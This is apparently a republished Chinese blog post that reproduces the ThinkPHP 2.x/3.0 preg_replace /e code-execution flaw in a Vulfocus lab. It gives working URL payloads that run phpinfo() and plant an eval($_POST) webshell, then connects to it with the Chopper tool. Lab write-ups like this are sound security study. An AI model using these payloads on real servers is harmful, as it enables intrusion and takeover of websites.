thinkphp2.x任意代码执行漏洞复现

Posted imanoob

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了thinkphp2.x任意代码执行漏洞复现相关的知识,希望对你有一定的参考价值。

 

 

Thinkphp2.x 任意代码执行漏洞

 

影响版本:tp2.x   tp3.0

 

漏洞影响:代码执行,写入一句话getshell

 

漏洞成因:在 ThinkPHP ThinkPHP 2.x 版本中,使用 preg_replace 的 /e 模式匹配路由:

$res = preg_replace(\'@(\\w+)\'.$depr.\'([^\'.$depr.\'\\/]+)@e\', \'$var[\\\'\\\\1\\\']="\\\\2";\', implode($depr,$paths))

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

 

直接在Vulfocus集成靶场中进行复现。
打开靶场
 

 

 


利用POC验证,执行phpinfo()
/index.php?s=/index/index/xxx/${@phpinfo()}
 

 

 


然后试着写入一句话木马
/index.php?s=/index/index/xxx/${${@eval($_POST[123])}}
 

 

 


可以看到页面报错同时把thinkphp的版本也爆出,接着用菜刀连接
 

 

 


拿到shell

 

 

Thinkphp2.x 任意代码执行漏洞

以上是关于thinkphp2.x任意代码执行漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章

Git漏洞允许任意代码执行(CVE-2018-17456)复现

安全-Wordpress 小于等于4.6.1版本任意代码执行漏洞复现(i春秋)

Tomcat远程代码执行漏洞CVE-2017-12615复现

分析并复现Apache核弹级漏洞,利用Log4j2使目标服务器执行任意代码

路由器漏洞挖掘之 DIR-850/645 命令执行漏洞复现

通达OA 任意文件上传+文件包含导致RCE漏洞复现